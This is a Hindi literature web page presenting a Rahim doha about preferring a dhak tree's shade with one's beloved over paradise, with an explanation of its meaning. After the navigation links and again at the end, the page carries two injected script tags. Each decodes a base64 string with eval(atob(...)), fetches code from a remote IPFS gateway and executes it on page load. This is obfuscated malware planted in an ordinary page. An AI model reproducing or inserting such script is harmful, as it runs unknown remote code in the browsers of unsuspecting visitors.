कहा करौं वैकुण्ठ लै -रहीम

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

कहा करौं वैकुण्ठ लै, कल्पबृच्छ की छांह।
‘रहिमन’ ढाक सुहावनो, जो गल पीतम-बाँह॥

अर्थ

वैकुण्ठ जाकर कल्पवृक्ष की छांहतले बैठने में रक्खा क्या है, यदि वहां प्रियतम पास न हो। उससे तो ढाक का पेड़ ही सुखदायक है, यदि उसकी छांह में प्रियतम के साथ गलबाँह देकर बैठने को मिले।


पीछे जाएँ
रहीम के दोहे
आगे जाएँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>